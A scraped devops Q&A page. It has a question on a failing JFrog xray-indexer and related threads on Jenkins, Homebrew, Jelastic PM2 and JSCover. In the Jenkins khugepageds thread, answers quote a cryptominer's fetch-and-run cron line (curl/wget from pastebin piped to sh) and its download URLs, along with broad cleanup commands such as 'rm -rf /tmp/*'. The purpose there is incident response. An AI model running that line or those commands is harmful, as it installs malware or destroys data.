Why xray-indexer goes down every time whenever start xray? - devops

I am not able to start xray-indexer. Whenever i try to run xray service, it starts for few seconds then it goes down.
/opt/jfrog/xray/scripts/xray.sh start
Output :
/opt/jfrog/xray/scripts/xray.sh status
Checking Xray services...
Checking xray-server... Running, the PID is 206755
Checking xray-indexer... The process appears to be dead but pidfile still exists
Checking xray-persist... Running, the PID is 206961
Checking xray-analysis... Running, the PID is 207059
i also tried running xray-indexer after removing that dead pidfile as shown in error but issue persists.
I am using following version of artifactory and xray,
Jfrog Xray version : Xray 2.11.4
Jfrog Artifactory version : 6.15.0 rev 61500900

Related

Timeout during Jenkins plugin installation

I try to install an old version of Jenkins (2.346.3 downloaded here ) because i need a java 8 compatible Jenkins.
Everything goes well while this screen :
I clic on Install suggested plugins and few seconds later I have this message :
With a standard installation there is the solution to increase the value of pluginManagerErrorTimeoutMillis in the file pluginSetupWizard.js as explained here
But with my installation the file pluginSetupWizard.js is minified and not in the /var/lib/jenkins directory.
So I tried to modify the files
/var/cache/jenkins/war/jsbundles/plugin-manager-ui.js.map
/var/cache/jenkins/war/jsbundles/pluginSetupWizard.js.map
Because they contain the variable pluginManagerErrorTimeoutMillis
then I do
systemctl daemon-reload
systemctl stop jenkins
systemctl start jenkins
but it does not work
I am currently stuck so do you know how can I increase this timeout in order to finish the jenkins installation ?
EDIT
So I found the solution :
I change the value in
/var/cache/jenkins/war/jsbundles/plugin-manager-ui.js
o=1e4 to o=1e6
and it works.
But I think this value should be increased by default in Jenkins.

Error: Failure while executing; `/bin/launchctl bootstrap gui/501 /Users/ec2-user/Library/LaunchAgents/homebrew.mxcl.jenkins-lts.plist` exited with 37

when i try start jenkins after successfully installed jenkins (brew services start jenkins-lts) its not working, throwing error like
Error: Failure while executing; /bin/launchctl bootstrap gui/501 /Users/ec2-user/Library/LaunchAgents/homebrew.mxcl.jenkins-lts.plist exited with 37.
please advise
I experienced the same issue. The issue was resolved by;
Restarting my laptop
The run brew services start jenkins-lts to start Jenkins
Then access http://localhost:8080/
I have the same issues.Then I try to restart my macbook and use this command 'brew services list' on terminal that shows the services had already started, which is said it works after restart.

Jelastic - Zero downtime deployment with PM2

Is it possible not to stop nodejs app when updating app source code from GIT?
Currently Jelastic stops the server before fetching files from GIT:
Stopping nodejs server:
[PM2] Applying action deleteProcessId on app [all](ids: 0,1)
[PM2] [app](0) ✓
[PM2] [app](1) ✓
[PM2] [v] All Applications Stopped
[PM2] [v] PM2 Daemon Stopped
[ OK ]
Is it possible not to stop the app? I'd like to call "pm2 reload app" instead of stopping it.
I tried searching which script does this by using grep. Unfortunately, no files containing Stopping nodejs server: line.
The NodeJS service is stopped before the update from GIT because it can take plenty of time to pull all the changes and install the updated dependencies - and the behavior of the application can be unpredictable
during these operations.
Please also note that the update from git is performed only if the last
commit ID on the remote differs from the last local commit ID when the update process is triggered on Jelastic - in other words, there are no pulls and stop-starts if there are no changes on the remote.

Jenkins High CPU Usage Khugepageds

So the picture above shows a command khugepageds that is using 98 to 100 % of CPU at times.
I tried finding how does jenkins use this command or what to do about it but was not successful.
I did the following
pkill jenkins
service jenkins stop
service jenkins start
When i pkill ofcourse the usage goes down but once restart its back up again.
Anyone had this issue before?
So, we just had this happen to us. As per the other answers, and some digging of our own, we were able to kill to process (and keep it killed) by running the following command...
rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;
Make sure to replace PID_OF_khugepageds with the PID on your machine. It will also clear the crontab entry. Run this all as one command so that the process won't resurrect itself. The machine will reboot per the last command.
NOTE: While the command above should kill the process, you will probably want to roll/regenerate your SSH keys (on the Jenkins machine, BitBucket/GitHub etc., and any other machines that Jenkins had access to) and perhaps even spin up a new Jenkins instance (if you have that option).
Yes, we were also hit by this vulnerability, thanks to pittss's we were able to detect a bit more about that.
You should check the /var/logs/syslogs for the curl pastebin script which seems to start a corn process on the system, it will try to again escalated access to /tmp folder and install unwanted packages/script.
You should remove everything from the /tmp folder, stop jenkins, check cron process and remove the ones that seem suspicious, restart the VM.
Since the above vulnerability adds unwanted executable at /tmp foler and it tries to access the VM via ssh.
This vulnerability also added a cron process on your system beware to remove that as well.
Also check the ~/.ssh folder for known_hosts and authorized_keys for any suspicious ssh public keys. The attacker can add their ssh keys to get access to your system.
Hope this helps.
This is a Confluence vulnerability https://nvd.nist.gov/vuln/detail/CVE-2019-3396 published on 25 Mar 2019. It allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
Possible solution
Do not run Confluence as root!
Stop botnet agent: kill -9 $(cat /tmp/.X11unix); killall -9 khugepageds
Stop Confluence: <confluence_home>/app/bin/stop-confluence.sh
Remove broken crontab: crontab -u <confluence_user> -r
Plug the hole by blocking access to vulnerable path /rest/tinymce/1/macro/preview in frontend server; for nginx it is something like this:
location /rest/tinymce/1/macro/preview {
return 403;
}
Restart Confluence.
The exploit
Contains two parts: shell script from https://pastebin.com/raw/xmxHzu5P and x86_64 Linux binary from http://sowcar.com/t6/696/1554470365x2890174166.jpg
The script first kills all other known trojan/viruses/botnet agents, downloads and spawns the binary from /tmp/kerberods and iterates through /root/.ssh/known_hosts trying to spread itself to nearby machines.
The binary of size 3395072 and date Apr 5 16:19 is packed with the LSD executable packer (http://lsd.dg.com). I haven't still examined what it does. Looks like a botnet controller.
it seem like vulnerability. try look syslog (/var/log/syslog, not jenkinks log) about like this: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).
If that, try stop jenkins, clear /tmp dir and kill all pids started with jenkins user.
After if cpu usage down, try update to last tls version of jenkins. Next after start jenkins update all plugins in jenkins.
A solution that works, because the cron file just gets recreated is to empty jenkins' cronfile, I also changed the ownership, and also made the file immutable.
This finally stopped this process from kicking in..
In my case this was making builds fail randomly with the following error:
Maven JVM terminated unexpectedly with exit code 137
It took me a while to pay due attention to the Khugepageds process, since every place I read about this error the given solution was to increase memory.
Problem was solved with #HeffZilla solution.

Unable to get JSCover and PhantomJS to run Jasmine test on Cloudbees

I am currently trying to run JSCover in web server mode to determine the coverage of my Jasmine tests that are executed in the PhantomJS headless browser. I am also using grunt+nodejs to kick off the tests.
The code I use in my gruntfile to start the JSCover server and execute phantomJS is:
// Start JSCover Server
var childProcess = require('child_process'),
var JSCOVER_PORT = "43287";
var JAVA_HOME = process.env.JAVA_HOME;
var jsCoverChildArgs = [
"-jar", "src/js/test/tools/JSCover-all.jar",
"-ws",
"--branch",
"--port="+JSCOVER_PORT,
"--document-root=./",
"--report-dir=target/",
"--no-instrument=src/js/lib/",
"--no-instrument=src/js/test/",
"--no-instrument=src/js/test/lib/"
];
var jsCoverProc = childProcess.spawn(JAVA_HOME + "/bin/java", jsCoverChildArgs);
// Start PhantomJS
var phantomjs = require('phantomjs'),
var binPath = phantomjs.path,
var childArgs = [
'src/js/test/lib/phantomjs_jasminexml_runner.js',
'http://localhost:'+JSCOVER_PORT+'/src/js/test/SpecRunner.html',
'target/surefire-reports'
];
runner = childProcess.execFile(binPath, childArgs);
runner.on('exit', function (code) {
// Tests have finished, so clean up the process
var success = (code === 0) ? true : false;
jsCoverProc.kill(); // kill the JSCover server now that we are done with it
done(success);
});
However, when I run the web server on a Jenkins node in cloudbees and then run phantomjs against it, I get one of the following errors:
Some tests start to run, but then the process fails:
A spec : should be able to have a mock lo-dash ...
Warning: Task "test" failed. Use --force to continue.
Aborted due to warnings.
Build step 'Execute shell' marked build as failure
Recording test results
Finished: FAILURE
PhantomJS is unable to access the JSCover server:
Running "test" task
phantomjs> Could not load 'http://127.0.0.1:43287/src/js/test/SpecRunner.html'.
Warning: Task "test" failed. Use --force to continue.
For the second error, I have tried to use different ports and hostnames that I set (e.g. 127.0.0.1 or localhost for hostnames, and 4327, 43287, etc. for ports). The ports are not being dynamically set at build time - I have them hardcoded in my grunt script.
Any thoughts on why the errors above might be occurring or why I am having issues running and accessing the JSCover server on a Cloudbees Jenkins node (but never on my local machine)?
So when you execute JSCover with any process, it takes time to be up. If we expect it to be up earlier that it is, the errors are bound to come.
Quoting from the great article: http://blog.johnryding.com/post/46757192364/javascript-code-coverage-with-phantomjs-jasmine-and
Now that I had a code coverage tool that met all of my requirements,
the last part was to get this code to run as part of our Jenkins build
(which utilizes a grunt script). This was easy to get running, but I
encountered two errors that consistently broke my builds:
Sometimes phantomJS would fail to connect to the JSCover server
Sometimes phantomJS would connect to the server, but then give up executing my tests at a random point during the run.
These were really weird issues that only occurred on my team’s Jenkins nodes and were hard to diagnose - even though they turned out to be simple fixes.
For issue 1, that error was the result of my grunt script not waiting for JSCover to start before I executed phantomJS.
For the second issue, it turns out that my team was using a special jasmine test runner to help with producing XML files after tests completed. The problem with this file was that it had a function that waited for Jasmine to complete its execution, but utilized an extremely short timeout before it gave up running the tests. This was a problem with Jenkins + JSCover because it took a longer time for the tests to load and run now that they had to be loaded from a web server instead of straight from the file system. Fortunately, this fix was as easy as increasing the timeout.
I would say that you need to wait for a while after spawning JSCover - in the past I have done things with webdriver when I have spawned, and then waited for it to be available (ideally you can look for a response and sleep, repeat, until the spawned process is ready).
Ie look for a valid http reponse from 127.0.0.1:43287 before continuing (whatever "valid" means that the server is up).

Resources